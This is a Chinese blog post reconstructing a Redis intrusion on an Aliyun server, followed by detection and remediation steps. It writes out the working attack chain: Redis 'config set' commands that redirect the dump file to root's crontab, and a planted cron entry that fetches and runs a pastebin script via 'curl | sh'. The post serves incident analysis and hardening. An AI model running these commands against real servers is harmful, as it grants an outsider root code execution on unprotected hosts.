利用Redis漏洞远程向服务器写入定时任务

由于近期阿里云服务器报警redis漏洞,经过调查对黑客的入侵过程进行了整理并模拟一遍,庆幸此次黑客行为未对公司造成影响,同时还让我学习了很多知识,这里分享给大家。

1,被入侵的前提条件

  1. redis没有设置密码 。
  2. redis配置文件没有打开保护模式,并且没有bindIP地址 。
  3. 安全组设置打开了redis的6379端口。
  4. 以root用户启动redis。
    有人可能会问,怎么可能这么傻,连个密码都不设置。现实情况的确如此,redis是同事设置,安全组我在管理,测试阶段打开了这个端口。两人分工不同,就出现了这个漏洞。相信漏洞的产生都是类似的。

2, 入侵前准备

满足以上前提后,意味着黑客通过扫描端口工具锁定你的ip,这时可以远程连接你的redis数据库。

2.1 生成测试脚本

登录https://pastebin.com网站
生成如下测试脚本,并获取raw地址 https://pastebin.com/raw/hx4d4iPS

echo "hello test" >> /root/hello.outtest

在这里插入图片描述

2.2 脚本如何执行

在服务器上直接通过下面命令即可执行上面的脚本

curl -fsSL https://pastebin.com/raw/hx4d4iPS | sh

我技术很弱,是入侵我们服务器的黑客采用了这个网站。这里需要谢谢黑客,教会我新的知识。
这种方式意味着你有在服务器通过简单命令执行复杂脚本的能力。

3 远程连接redis,并执行脚本

3.1 修改redis配置

设置dir到定时任务目录
config set dir "/var/spool/cron"
设置持久化文件名为root
config set dbfilename root

以上两条命令意味着,以后redis所有数据都会保存在/var/spool/cron/root文件中。而这个文件就是root用户的定时任务配置文件。系统会执行该文件定义的定时任务。

step1:清空数据表
127.0.0.1:6379> flushall  
OK
step2:添加一条数据。注意\n表示换行符。
127.0.0.1:6379> set test "\n*/10 * * * *  curl -fsSL https://pastebin.com/raw/7dFmaK9n | sh\n"
OK
step3:保存数据
127.0.0.1:6379> save

3.2查看生成的定时任务脚本

在var/var/spool/cron目录下产生了root文件。
该文件代表了root用户的定时任务文件,系统会按照指定周期执行该文件的内容。

在这里插入图片描述
打开该文件,发现前面\n的效果就是 set的name和value分行存放。
在这里插入图片描述
通过crontab -l命令查看定时任务中已经存在该定时任务。其他乱码可以忽略,我猜想定时任务是按行读取的。
其他不符合语法的行都会执行错误。但是正确的行是可以被执行的。
在这里插入图片描述

3.3 查看定时任务是否生效

tail -f vim /var/log/cron
查看定时任务日志,可以看到上述命令已经被执行。

在这里插入图片描述
/root目录下生成了hello.outtest文件,并且文件内容被定时更新
在这里插入图片描述

以上,就实现了在不登录数据库的情况下写入定时任务的功能。这个漏洞意味着黑客可以在你的服务器为所欲为,具备所有的权限和能力。

4 如何修复该漏洞

4.1 分析可能造成的影响

对方获取redis之后意味着他可以修改你系统的任何一个文件,并往里写入内容。
1,查看定时任务的/etc/crontab 和var/var/spool/cron等文件是否有异常的内容写入
2,查看用户登录秘钥是否有异常写入。(对方可以免密登录你的系统)
3,查看系统登录日志,查看是否有异常登录
4,其他你发现有可能影响的文件

4.2 修复漏洞

1,关闭安全组redis的端口,或者给予最小访问规则
2,修改redis配置文件
参考阿里云的要求,配置完就可以很大程度避免该漏洞的影响。
https://help.aliyun.com/knowledge_detail/37447.html

参考
https://www.idc889.com/detail-1373.html
https://www.cnblogs.com/Dleo/p/6078948.html

猜你喜欢

转载自blog.csdn.net/kouryoushine/article/details/87917762